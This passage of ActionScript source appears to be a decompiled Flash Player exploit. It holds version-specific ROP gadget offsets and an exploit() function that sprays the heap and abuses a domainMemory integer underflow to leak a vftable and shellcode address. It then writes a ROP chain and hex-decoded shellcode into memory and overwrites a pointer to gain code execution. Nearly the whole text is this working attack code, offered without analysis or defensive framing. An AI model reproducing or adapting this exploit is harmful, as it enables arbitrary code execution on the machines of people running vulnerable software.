vftableAddr_copy = (vftableAddr_copy - 129165844);
_local_5 = (vftableAddr_copy + 16904192);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt(vftableAddr_copy);
kzkxuuao.position = 16;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 117625919));
kzkxuuao.writeUnsignedInt(-1810746282);
kzkxuuao.writeUnsignedInt((scAddr + 76));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 122565891));
kzkxuuao.position = 44;
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 0x0400));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 123362382));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((scAddr + 192));
kzkxuuao.position = 112;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 32365));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 11760520));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1117213));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3721232));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 8274178));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,8,800,50":
vftableAddr_copy = (vftableAddr_copy - 12936000);
_local_5 = (vftableAddr_copy + 17149952);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 404531));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2583617));
kzkxuuao.position = 72;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7914140));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4550));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 11780992));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 32684));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 142358));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1577816));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
default:
return (null);
};
return (kzkxuuao);
}
public function exploit():Boolean
{
var vector_objects_entry_length:int;
var shellcode_byte = null;
var _local_6:uint;
var i:int;
var vftable_addr:uint;
var shellcode_address:uint;
var vector_objects_entry_idx:uint;
var length_vector_byte_arrays:uint;
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
var vickers_byte_array:ByteArray = new ByteArray();
while (i < 0x0500)
{
vector_byte_arrays[i] = new ByteArray();
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
i++;
};
vickers_byte_array.writeUTFBytes("vickers");
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
vector_byte_arrays[i] = new ByteArray();
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
length_vector_byte_arrays = i;
i = 0;
while (i < (vector_byte_arrays.length - 1))
{
vector_byte_arrays[i++] = null;
};
i = 0;
while (i < 0x8000)
{
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
i++;
};
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
{
};
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
{
};
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
{
};
// No success
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
{
vickers_byte_array = null;
vector_byte_arrays[length_vector_byte_arrays] = null;
i = 0;
while (i < vector_objects.length)
{
vector_objects[i++] = null;
};
return (false);
};
i = 0;
while (i < vector_objects.length)
{
if (i != vector_objects_entry_idx)
{
vector_objects[i] = null;
};
i++;
};
// Use underflow to leak shellcode address
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
{
};
shellcode_address = (shellcode_address + 0x1300);
var paeikkzkxuuao:ByteArray = makejaiua(vftable_addr, shellcode_address);
if (paeikkzkxuuao == null)
{
return (true);
};
var j:uint;
var shellcode_length:uint = shellcode.length;
var shellcode_byte_array:ByteArray = new ByteArray();
shellcode_byte_array.endian = "littleEndian";
while (j < shellcode_length)
{
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
j = (j + 2);
};
vector_byte_arrays[length_vector_byte_arrays].position = 0;
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
vector_byte_arrays[length_vector_byte_arrays].writeBytes(paeikkzkxuuao);
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
// Use underflow to overwrite and get code execution
if (li16((_local_6 + 1)) != 114)
{
si32((shellcode_address + 1), (_local_6 - 244));
};
vector_objects[vector_objects_entry_idx][1][0];
return (true);
}
}
}//package